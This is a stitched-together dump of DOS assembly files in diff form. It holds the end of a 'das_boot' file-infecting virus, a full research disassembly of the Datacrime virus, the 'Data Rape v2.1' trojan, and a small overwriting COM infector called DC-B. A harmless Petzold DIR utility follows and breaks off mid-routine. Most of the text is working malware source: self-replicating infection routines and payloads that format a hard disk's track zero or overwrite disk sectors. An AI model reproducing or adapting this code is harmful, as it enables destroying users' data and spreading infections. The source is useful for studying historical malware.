or dx,dx ;remainder in dx?
jz nohiccup ;if not, no need to add another page
inc ax ;add another page to length value
nohiccup:
mov ds:[di+04],ax ;store # of pages in target header
mov ds:[di+02],dx ;store # of bytes in last page in
; target header
pop dx ;restore dx to file pointer MSP
pop ax ;restore ax to file pointer LSP
mov cx,010 ;convert dx:ax to
div cx ; segment(ax):offset(dx) form
sub ax,ds:[di+08] ;subtract header size
mov ds:[di+014],dx ;store new entry ip in target
mov ds:[di+016],ax ;store new entry cs displacement
mov ds:[di+0e],ax ;store new entry ss displacement
mov word ptr ds:[di+010],EXE_id ;store EXE_id as sp in target
finishinfect:
mov ah,040 ;write to file w/handle function
mov cx,viruslength ;specify # of bytes to write
xor dx,dx ;set buffer start at virus offset
int 021 ;write _small to EOF
mov ax,04200 ;move file pointer, offset from BOF
xor cx,cx ;MSP of offset cx=0000
cwd ;LSP of offset dx=0000
int 021 ;move file pointer to BOF
mov ah,040 ;write to file w/handle function
mov dx,di ;set buffer start at target header
pop cx ;specify 18 bytes to write
int 021 ;write modified EXE header (or COM
; jmp xxxx & next 15 bytes) to BOF
already_infected:
mov ah,03e ;close file w/handle function
int 021 ;close file
exitinfect:
pop es ;preserve registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
chain:
db 0ea ;"jmp far" to location specified in old21
heap:
old21 dw ?, ? ;offset and segment of orig. int21 handler
target dw ? ;*(00) EXE file signature | COM file's
dw ? ;*(02) # of bytes in last page| jmp to virus
dw ? ;*(04) size of file + header (pages)
dw ? ; (06) # of relocation items
dw ? ; (08) size of header (paragraphs)
dw ? ; (0A) min paragraphs needed
dw ? ; (0C) max paragraphs needed
dw ? ;*(0E) ss displacement from entry in para.
dw ? ;*(10) sp value at entry
dw ? ; (12) checksum
dw ? ;*(14) ip value at entry
dw ? ;*(16) cs displacement from entry in para.
;* - indicates value modified by das_boot
endheap:
end das_boot
@@ -0,0 +1,537 @@
;
; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
; : British Computer Virus Research Centre :
; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England :
; : Telephone: Domestic 0273-26105, International +44-273-26105 :
; : :
; : The 'Datacrime' Virus :
; : Disassembled by Joe Hirst, May 1989 :
; : :
; : Copyright (c) Joe Hirst 1989. :
; : :
; : This listing is only to be made available to virus researchers :
; : or software writers on a need-to-know basis. :
; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
; The virus occurs attached to the end of a COM file. The first
; three bytes of the program are stored in the virus, and replaced
; by a branch to the beginning of the virus.
; The disassembly has been tested by re-assembly using MASM 5.0.
; Addressability is maintained by taking the offset from the
; initial jump to the virus. This is the length of the host minus
; three (length of the jump instruction). Three is subtracted
; from this figure (presumably the length of the original "host"
; program when the virus was released). The result is kept in
; register SI. Data addresses add SI+106H (COM origin of 100H
; + length of jump + length of initial host) to the offset of the
; data item within the virus.
; Note that if it does nothing else this virus will almost certainly
; screw up the critical error handler because:
; 1. There is a missing segment override on the restore of the
; original segment (presumably the result of inserting such
; overrides manually), and
; 2. If the virus looks at more than one disk it will reinstall
; the routine, overwriting the original saved vector with that
; of its own routine.
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
ORG 09AH
DW009A DW ?
ORG 101H
DW0101 DW ?
; Start of virus - Set up relocation factor
ORG 0
START: MOV SI,CS:DW0101 ; Address initial jump to virus
SUB SI,3 ; Length of original host (?)
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JNE BP0012 ; Branch if not
JMP BP0110 ; Infection routine
; Restore host and test initial start month
BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host
MOV BX,0100H ; Address beginning of host program
MOV CX,5 ; Word count
BP001C: MOV AX,[DI] ; Get next word
MOV [BX],AX ; Replace next word
ADD BX,2 ; Address next target word
ADD DI,2 ; Address next stored word
DEC CX ; Reduce count
JNZ BP001C ; Repeat for each word
MOV AH,2AH ; Get date function
INT 21H ; DOS service
MOV AL,CS:DB03EA[SI+106H] ; Get start month
CMP AL,DH ; Is it start month yet?
JG BP0040 ; Branch if not
MOV CS:DB03EA[SI+106H],0 ; Don't do test any more
JMP BP0045
; Pass control to host program
BP0040: MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Are we in target part of year?
BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day
CMP AX,DX ; Compare to actual
JL BP0051 ; Branch if after start date
JMP BP0110 ; Infection routine
; Is there a hard disk?
BP0051: MOV AX,0 ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0106H ; Address Int 41H segment
MOV AX,[BX] ; Get Int 41H segment
POP DS
CMP AX,0 ; Is it zero (no hard disk)?
JNE BP0067 ; Branch if not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Display message and format track zero, heads 0 - 8
BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string
MOV CL,29H ; Load length of string
BP006D: MOV DL,CS:[BX] ; Get a character
XOR DL,55H ; Decrypt character
MOV AH,2 ; Display character function
INT 21H ; DOS service
INC BX ; Address next character
DEC CL ; Reduce count
JNZ BP006D ; Repeat for each character
MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?)
MOV CH,0 ; Track zero
MOV DX,0080H ; Head zero, first hard disk
BP0084: MOV CH,0 ; Track zero
MOV AL,0 ; Load zero
MOV CL,6 ; \ Multiply zero by 64
SHL AL,CL ; /
MOV CL,AL ; Move result (zero)
OR CL,1 ; Now its one (and next line zero)
MOV AX,0500H ; Format track, interleave zero
INT 13H ; Disk I/O
JB BP009F ; Branch if error
INC DH ; Next head
CMP DH,9 ; Is it head nine?
JNE BP0084 ; Format if not
BP009F: MOV AH,2 ; Display character function
MOV DL,7 ; Beep
INT 21H ; DOS service
JMP BP009F ; Loop on beep
; Format table (required for ATs and PS/2s)
; Program does not in fact point to this because the reference
; to register SI is missing
DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H
DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H
DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H
DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H
; The next field decodes to:
; DB 'DATACRIME VIRUS', 0AH, 0DH
; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH
DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H
DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H
DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H
DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H
DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H
; Start of infection routine
BP0110: MOV AH,19H ; Get current disk function
INT 21H ; DOS service
MOV CS:DB03F5[SI+106H],AL ; Save current disk
MOV AH,47H ; Get current directory function
MOV DX,0 ; Default disk
PUSH SI
LEA SI,DB03F6+1[SI+106H] ; Original directory store
INT 21H ; DOS service
POP SI
MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start
JMP BP0130 ; Select disk drive
; Select disk drive from table
BP0130: CALL BP0172 ; Install Int 24H routine
LEA BX,DB03E3[SI+106H] ; Address disk drive table
MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer
INC CS:DB03EC[SI+106H] ; Update disk drive pointer
MOV AH,0 ; Clear top of register
ADD BX,AX ; Add disk drive pointer
MOV AL,CS:[BX] ; Get next disk drive
MOV DL,AL ; Move device for select
CMP AL,0FFH ; End of table?
JNE BP0151 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP0151: MOV AH,0EH ; Select disk function
INT 21H ; DOS service
MOV AH,47H ; Get current directory function
MOV DL,0 ; Default drive
PUSH SI
LEA SI,DB0417+1[SI+106H] ; Current directory path name
INT 21H ; DOS service
POP SI
MOV BX,4 ; Address critical error
MOV AL,CS:[BX] ; Get critical error code
CMP AL,3 ; Was it three?
JNE BP01B7 ; Branch if not
MOV AL,0 ; \ Set it back to zero
MOV CS:[BX],AL ; /
JMP BP0130 ; Select next disk drive
; Install interrupt 24H routine
BP0172: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,[BX+2] ; Get Int 24H segment
MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment
MOV AX,[BX] ; Get Int 24H offset
MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset
MOV AX,CS ; Get current segment
MOV [BX+2],AX ; Set new Int 24H segment
LEA AX,BP01AE[SI+106H] ; Int 24H routine
MOV [BX],AX ; Set new Int 24H offset
POP DS
RET
; Restore original interrupt 24H
BP0196: XOR AX,AX ; Clear register
PUSH DS
MOV DS,AX ; Address segment zero
MOV BX,0090H ; Address Int 24H vector
MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment
MOV [BX+2],AX ; Restore Int 24H segment
MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:)
MOV [BX],AX ; Restore Int 24H offset
POP DS
RET
; Interrupt 24H routine
BP01AE: MOV AL,3 ; Fail the system call
MOV BX,4 ; Address critical error byte
MOV CS:[BX],AL ; Save code
IRET
BP01B7: CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JNE BP01C6 ; Branch if not
JMP BP023C ; Tidy up and terminate
BP01C6: CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
JMP BP0130 ; Select next disk drive
BP01CE: MOV CX,0040H ; Maximum characters to copy
PUSH SI
DEC DI ; \
DEC DI ; ) Address back to '*.*'
DEC DI ; /
MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon
MOV SI,BX ; Address file name
CLD
BP01DC: LODSB ; \ Copy a character
STOSB ; /
DEC CX ; Decrement count
CMP AL,0 ; Was last character zero?
JNE BP01DC ; Next character if not
POP SI
MOV AH,3BH ; Change current directory function
LEA DX,DB0438[SI+106H] ; Directory pathname
INT 21H ; DOS service
CALL BP02DA ; Find and infect a file
MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch
CMP AL,1 ; Is it on?
JE BP023C ; Tidy up and terminate if yes
CALL BP0260 ; Get next directory
JNB BP01CE ; Branch if found
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
INC CS:DB03E2[SI+106H] ; Increment directory count
CALL BP0260 ; Get next directory
JB BP023C ; Branch if not found
MOV AL,CS:DB03E2[SI+106H] ; Get directory count
BP0214: CMP AL,0 ; Is directory count zero yet?
JNE BP021D ; Branch if not
ADD BX,9 ; ???
JMP BP01CE ; ??? Add directory name to path
BP021D: MOV AH,4FH ; Find next file function
PUSH AX
INT 21H ; DOS service
POP AX
JNB BP0228 ; Branch if no error
JMP BP0130 ; Select next disk drive
BP0228: PUSH AX
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attributes byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
POP AX
JNE BP021D ; Branch if not
DEC AL ; Decrement directory count
JMP BP0214
; Reset disk and directory, and pass control to host
BP023C: MOV AH,0EH ; Select disk function
MOV DL,CS:DB03F5[SI+106H] ; Get original current disk
INT 21H ; DOS service
MOV AH,3BH ; Change current directory function
LEA DX,DB03F6[SI+106H] ; Original directory
INT 21H ; DOS service
CALL BP0196 ; Restore Int 24H
MOV AX,SI ; Copy relocation factor
CMP AX,0 ; Is it zero (initial release)?
JE BP025C ; Terminate 8f not
MOV BX,0100H ; Address beginning of host program
JMP BX ; Branch to host program
; Terminate
BP025C: MOV AH,4CH ; End process function
INT 21H ; DOS service
; Get next directory
BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,003AH ; Length to clear
MOV AL,0 ; Set to zero
CLD
REPZ STOSB ; Clear pathname area
MOV AH,47H ; Get current directory function
PUSH SI
MOV DX,0 ; Current drive
LEA SI,DB0438+1[SI+106H] ; Directory pathname
INT 21H ; DOS service
POP SI
CLD
LEA DI,DB0438+1[SI+106H] ; Directory pathname
MOV CX,0040H ; Length to search
MOV AL,0 ; Search for zero
REPNZ SCASB ; Search for end of pathname
JZ BP0289 ; Branch if found
STC
RET
; Set file name wildcard on path
BP0289: DEC DI ; \ Back two positions
DEC DI ; /
MOV AL,[DI] ; Get character
CMP AL,'\' ; Does path end in dir delim?
JE BP0294 ; Branch if yes
INC DI ; Next position
MOV AL,'\' ; Make next character a dir delim
BP0294: MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; All files
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'.' ; Extension
MOV [DI],AL ; Store character
INC DI ; Next position
MOV AL,'*' ; all extensions
MOV [DI],AL ; Store character
INC DI ; Next position
LEA DX,DB0438[SI+106H] ; Address directory pathname
MOV AH,4EH ; Find first file function
MOV CX,0010H ; Find directories
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
RET
; Valid directories only
BP02B4: MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,15H ; Address attribute byte
MOV AL,10H ; Directory attribute
CMP CS:[BX],AL ; Is it a directory?
JNE BP02D2 ; Branch if not
CLC
MOV AH,2FH ; Get DTA function
INT 21H ; DOS service
ADD BX,1EH ; Address directory name
MOV AL,'.' ; Prepare to test first byte
CMP CS:[BX],AL ; Is it a pointer to another dir?
JE BP02D2 ; Branch if yes
RET
BP02D2: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02B4 ; Branch if no error
STC
RET
; Find and infect a file
BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off
MOV AH,4EH ; Find first file function
MOV CX,7 ; All files
LEA DX,DB03ED[SI+106H] ; Address '*.COM'
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
BP02EF: MOV AH,4FH ; Find next file function
INT 21H ; DOS service
JNB BP02F6 ; Branch if no error
RET
; Exclude COMMAND.COM
BP02F6: MOV BX,00A4H ; Address seventh letter of name
MOV AL,[BX] ; Get character
CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)?
JNE BP0301 ; Branch if not
JMP BP02EF ; Next file
; Is it already infected?
BP0301: MOV BX,0096H ; Address time of file
MOV CX,[BX] ; Get time of file
ADD BX,2 ; Address date of file
MOV DX,[BX] ; Get date of file
MOV AL,CL ; Copy low byte of time
AND AL,0E0H ; Isolate low part of minutes
MOV AH,AL ; Copy low part of minutes
SHR AL,1 ; \
SHR AL,1 ; \
SHR AL,1 ; ) Move mins to secs position
SHR AL,1 ; /
SHR AL,1 ; /
OR AL,AH ; Combine with minutes
CMP AL,CL ; Compare to actual time
JNE BP0323 ; Branch if different
JMP BP02EF ; Find next file
; Uninfected COM file found
BP0323: PUSH CX
PUSH DX
MOV AX,CS:DW009A ; Get low-order length
MOV CS:DW03D3[SI+106H],AX ; Save low-order length
CALL BP03AA ; Remove read-only attribute
MOV AX,3D02H ; Open handle (R/W) function
MOV DX,009EH ; File name
INT 21H ; DOS service
MOV BX,AX ; Move handle
MOV AH,3FH ; Read handle function
LEA DX,DB03D5[SI+106H] ; Store area for start of host
MOV CX,000AH ; Read first ten bytes
INT 21H ; DOS service
MOV AX,4202H ; Move file pointer (EOF) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV CX,OFFSET ENDADR ; Length of virus
NOP
LEA DX,[SI+106H] ; Address start of virus
MOV AH,40H ; Write handle function
INT 21H ; DOS service
MOV AX,4200H ; Move file pointer (start) function
XOR CX,CX ; \ No displacement
XOR DX,DX ; /
INT 21H ; DOS service
MOV AX,CS:DW009A ; Get low-order length
SUB AX,3 ; Subtract length of jump
MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump
MOV AH,40H ; Write handle function
MOV CX,3 ; Length of jump
LEA DX,DB03DF[SI+106H] ; Address jump instruction
INT 21H ; DOS service
POP DX
POP CX
AND CL,0E0H ; Isolate low part of minutes
MOV AL,CL ; Copy low part of minutes
SHR CL,1 ; \
SHR CL,1 ; \
SHR CL,1 ; ) Move mins to secs position
SHR CL,1 ; /
SHR CL,1 ; /
OR CL,AL ; Combine with minutes
MOV AX,5701H ; Set file date & time function
INT 21H ; DOS service
MOV AH,3EH ; Close handle function
INT 21H ; DOS service
CALL BP03C1 ; Replace attributes
MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on
MOV AH,3BH ; Change current directory function
LEA DX,DB0417[SI+106H] ; Current directory path name
INT 21H ; DOS service
RET
; Remove read-only attribute
BP03AA: MOV DX,009EH ; Address file name
MOV AX,4300H ; Get file attributes function
INT 21H ; DOS service
MOV CS:DW03F3[SI+106H],CX ; Save attributes
AND CX,00FEH ; Set off read-only
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
; Replace attributes
BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes
MOV DX,009EH ; Address file name
MOV AX,4301H ; Set file attributes function
INT 21H ; DOS service
RET
DW03CF DW 1142H ; Original Int 24H segment
DW03D1 DW 175DH ; Original Int 24H offset
DW03D3 DW 0039H ; Low-order length of host
DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host
DB03DF DB 0E9H ; \ Jump for host program
DW03E0 DW 0 ; /
DB03E2 DB 0BH
DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B)
DW03E8 DW 0A0CH ; Start month and day
DB03EA DB 0 ; Start month
DB03EB DB 0 ; Infection completed switch
DB03EC DB 3 ; Disk drive pointer
DB03ED DB '*.COM', 0
DW03F3 DW 20H ; File attributes
DB03F5 DB 0 ; Original current disk
DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory
DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory
DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname
DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H
DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H
DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H
ENDADR EQU $
CODE ENDS
END START
@@ -0,0 +1,85 @@
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
Article Title: Data Rape v2.1 Trojan
Author: Admiral Bailey
;=---
;
; DataRape 2.1 Trojan
;
; Disassembled By Admiral Bailey [YAM '92]
; June 25, 1992
;
; The writers of this virus are Zodiac and Data Disruptor
;
; Notes:Just a regular trojan. This one puts the messege into the
; sector it writes. Even though its not advanced it gets the
; job done.
;
;=---------
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
datarap2 proc far
start:
jmp begin
messege db '----------------------------',0Dh,0ah
db ' DataRape v2.1 ',0dh,0ah
db ' Written by Zodiac and ',0dh,0ah
db ' Data Disruptor ',0dh,0ah
copyright db '(c) 1991 RABID International',0dh,0ah
db '----------------------------',0dh,0ah
sector db 1
data_3 db 0
begin:
mov ah,0Bh ; write sectors
mov al,45h ; sectors to write to
mov bx,offset messege ; writes this messege
mov ch,0 ; clear out these
mov cl,0
mov dh,0
mov dl,80h ; drive
int 13h
jnc write_loop ; nomatter what jump to
jc write_loop ; the write loop and
jmp short write_loop ; destroy rest of drive
nop
compare:
mov sector,1 ; start writing at sec1
inc data_3
jmp short loc_4
db 90h
write_loop:
cmp data_3,28h
jae quit
cmp sector,9
ja compare
loc_4:
mov ah,3 ; write sec's from mem
mov al,9 ; #
mov bx,offset messege ; this is in mem
mov ch,data_3 ; cylinder
mov cl,sector ; sector
mov dh,0 ; drive head
mov dl,2 ; drive
int 13h
inc sector ; move up a sector
jmp short write_loop
db 73h, 02h, 72h, 00h
quit:
mov ax,4C00h
int 21h ; now quit
datarap2 endp
seg_a ends
end start
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,55 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ DC-B ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 26-Dec-91 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_009E_e equ 9Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
start:
mov ah,4Eh ; 'N'
mov dx,offset data_0124
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
loc_0107:
mov ax,3D01h
mov dx,data_009E_e
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
xchg ax,bx
mov ah,40h ; '@'
mov cl,2Ah ; '*'
mov dx,100h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jnc loc_0107 ; Jump if carry=0
retn
data_0124 db 2Ah
db 2Eh, 43h, 4Fh, 4Dh, 00h
seg_a ends
end start
+441
View File
@@ -0,0 +1,441 @@
; DDIR.ASM -- Double Column Sorted DIR Command
; ========
; (C) Copyright Charles Petzold, 1985
;
; COM file format
;
CSEG Segment
Assume CS:CSEG, DS:CSEG
Org 002Ch ; Offset of Environment
Environment Label Byte
Org 007Bh ; Parameter for COMMAND.COM
NewParameter Label Byte
Org 0080h ; Parameter passed to program
OldParameter Label Byte
Org 0100h ; Entry point
Entry: Jmp Begin
; All Data
; --------
db '(C) Copyright Charles Petzold, 1985'
DosVersMsg db "Needs DOS 2.0 +$" ; Error messages
MemAllocMsg db "Memory Problem$"
CommandMsg db "COMMAND Problem$"
Comspec db "COMSPEC=" ; Search string in environment
CommandAsciiz dd ? ; Eventual pointer to COMMAND
ParamBlock dw ? ; Parameter Block for EXEC
dw NewParameter,? ; First ? must be replaced
dw 5Ch,? ; with Environment segment;
dw 6Ch,? ; others with this segment
OldInterrupt21 dd ? ; For vector address storage
BufferPtr dw Offset FileBuffer ; For storing files listing
CharCounter dw 0 ; Keeps track of characters
NowDoingFile db 0 ; Flagged for file printed
WithinFileList db 0 ; Flagged for file list
FileCounter dw 0 ; Keeps track of files
LineCounter db 0 ; For pausing at screen end
PauseMessage db 6 dup (205)," Press any key to continue "
db 6 dup (205),181
PauseMsgEnd Label Byte
; Check DOS Version
; -----------------
Begin: Mov AH,30h ; DOS Version function call
Int 21h ; Call DOS
Cmp AL,2 ; Check if version 2
Jae DosVersOK ; If equal or over, all OK
Mov DX,Offset DosVersMsg ; Wrong DOS version message
ErrorExit: Mov AH,9 ; Set up for string write
Int 21h ; Call DOS for message
Int 20h ; Dishonorable discharge
; Adjust stack and un-allocate rest of memory
; -------------------------------------------
DosVersOK: Mov DI,Offset FileBuffer ; Place to save files
Mov CX,528 * 39 ; Allow room for 528 files
Mov AL,' ' ; Will clear with blanks
Cld ; Forward direction
Rep Stosb ; Clear the area
Mov BX,(Offset FileBuffer) + (528 * 39) + 100h
; New end of program
Mov SP,BX ; Set the stack pointer
Add BX,15 ; Add 15 for rounding
Mov CL,4 ; Number of shifts
Shr BX,CL ; Convert AX to segment
Mov AH,4Ah ; DOS call to shrink down
Int 21h ; allocated memory
Mov DX,Offset MemAllocMsg ; Possible error message
Jc ErrorExit ; Only print it if Carry set
; Search for Comspec in Environment
; ---------------------------------
Mov ES,[Environment] ; Environment Segment
Sub DI,DI ; Start search at beginning
Cld ; String increment to forward
TryThis: Cmp Byte Ptr ES:[DI],0 ; See if end of environment
Jz NoFindComSpec ; If so, we have failed
Push DI ; Save environment pointer
Mov SI,Offset ComSpec ; String to search for
Mov CX,8 ; Characters in search string
Repz Cmpsb ; Check if strings are same
Pop DI ; Get back the pointer
Jz FoundComspec ; Found string only zero flag
Sub AL,AL ; Zero out AL
Mov CX,8000h ; Set for big search
Repnz Scasb ; Find the next zero in string
Jmp TryThis ; And do the search from there
NoFindComSpec: Mov DX,Offset CommandMsg ; Message for COMSPEC error
Jmp ErrorExit ; Print it and exit
FoundComspec: Add DI,8 ; So points after 'COMSPEC='
Mov Word Ptr [CommandASCIIZ],DI ; Save the address of
Mov Word Ptr [CommandASCIIZ + 2],ES ; COMMAND ASCIIZ
; Set up parameter block for EXEC call
; ------------------------------------
Mov [ParamBlock],ES ; Segment of Environment string
Mov [ParamBlock + 4],CS ; Segment of this program
Mov [ParamBlock + 8],CS ; so points to FCB's
Mov [ParamBlock + 12],CS ; and NewParameter
; Save and set Interrupt 21h vector address
; -----------------------------------------
Mov AX,3521h ; DOS call to get Interrupt 21
Int 21h ; vector address
Mov Word Ptr [OldInterrupt21],BX ; Save offset
Mov Word Ptr [OldInterrupt21 + 2],ES ; And segment
Mov DX,Offset NewInterrupt21; Address of new Interrupt 21
Mov AX,2521h ; Do DOS call to
Int 21h ; set the new address
; Fix up new parameter for "/C DIR" String
; ------------------------------------
Mov AL,[OldParameter] ; Number of parameter chars
Add AL,5 ; We'll be adding five more
Mov [NewParameter],AL ; Save it
Mov Word Ptr [NewParameter + 1],'C/' ; i.e. "/C"
Mov Word Ptr [NewParameter + 3],'ID' ; Then "DI"
Mov Byte Ptr [NewParameter + 5],'R' ; And "R"
; Load COMMAND.COM
; -----------------
Push CS ; Push this segment so we can
Pop ES ; set ES to it
Mov BX,Offset ParamBlock ; ES:BX = address of block
Lds DX,[CommandAsciiz] ; DS:DX = address of ASCIIZ
Mov AX,4B00h ; EXEC call 4Bh, type 0
Int 21h ; Load command processor
; Return from COMMAND.COM
; -----------------------
Mov AX,CS ; Get this segment in AX
Mov DS,AX ; Set DS to it
Mov SS,AX ; And SS for stack segment
Mov SP,(Offset FileBuffer) + (528 * 39) + 100h
; Set Stack again
PushF ; Save Carry for error check
Push DS ; Save DS during next call
Mov DX,Word Ptr [OldInterrupt21] ; Old Int 21 offset
Mov DS,Word Ptr [OldInterrupt21 + 2]; and segment
Mov AX,2521h ; Call DOS to set vector
Int 21h ; address to original
Pop DS ; Restore DS to this segment
PopF ; Get back Carry flage
Jnc NormalEnd ; Continue if no error
Mov DX,Offset CommandMsg ; Otherwise we'll print error
Jmp ErrorExit ; message and exit
NormalEnd: Int 20h ; Terminate program
; New Interrupt 21h
; -----------------
NewInterrupt21 Proc Far
Sti ; Allow further interrupts
Cmp AH,40h ; Check if file / device write
Je CheckHandle ; If so, continue checks
SkipIntercept: Jmp CS:[OldInterrupt21] ; Just jump to old interrupt
CheckHandle: Cmp BX,1 ; Check if standard output
Jne SkipIntercept ; Not interested if not
PushF ; Push all registers that
Push AX ; we'll be messing with
Push CX
Push SI
Push DI
Push ES
Push CS ; Push the code segment
Pop ES ; So we can set ES to it
Cld ; Forward for string transfers
Mov SI,DX ; Now DS:SI = text source
Mov DI,CS:[BufferPtr] ; And ES:DI = text destination
Cmp CX,2 ; See if two chars to write
Jne RegularChars ; If not, can't be CR/LF
Cmp Word Ptr DS:[SI],0A0Dh ; See if CR/LF being written
Jne RegularChars ; Skip rest if not CR/LF
Mov CX,CS:[CharCounter] ; Get characters in line
Mov CS:[CharCounter],0 ; Start at new line
Cmp CS:[NowDoingFile],1 ; See if CR/LF terminates file
Jnz AllowTransfer ; If not, just write to screen
Mov AX,39 ; Max characters per line
Sub AX,CX ; Subtract those passed
Add CS:[BufferPtr],AX ; Kick up pointer by that
Mov CS:[NowDoingFile],0 ; Finished with file
Jmp PopAndReturn ; So just return to COMMAND
RegularChars: Add CS:[CharCounter],CX ; Kick up counter by number
Cmp CS:[CharCounter],CX ; See if beginning of line
Jne NotLineBegin ; If not, must be in middle
Cmp Byte Ptr DS:[SI],' ' ; See if first char is blank
Jne ItsAFile ; If not, it's a file line
Cmp CS:[WithinFileList],1 ; See if doing file listing
Jne AllowTransfer ; If not, just print stuff
Call SortAndList ; Files done -- sort and list
Mov CS:[WithinFileList],0 ; Not doing files now
Jmp Short AllowTransfer ; So just print the stuff
ItsAFile: Cmp CS:[FileCounter],528 ; See if 11 buffer filled up
Jb NotTooManyFiles ; If not just continue
Push CX ; Otherwise, save this register
Call SortAndList ; Print all up to now
Mov CS:[FileCounter],0 ; Reset the counter
Mov DI,Offset FileBuffer ; And the pointer
Mov CS:[BufferPtr],DI ; Save the pointer
Mov CX,528 * 39 ; Will clear for 528 files
Mov AL,' ' ; With a blank
Rep Stosb ; Clear it out
Pop CX ; And get back register
NotTooManyFiles:Mov CS:[WithinFileList],1 ; We're doing files now
Mov CS:[NowDoingFile],1 ; And a file in particular
Inc CS:[FileCounter] ; So kick up this counter
NotLineBegin: Cmp CS:[NowDoingFile],1 ; See if doing files
Je StoreCharacters ; If so, store the stuff
AllowTransfer: Pop ES ; Pop all the registers
Pop DI
Pop SI
Pop CX
Pop AX
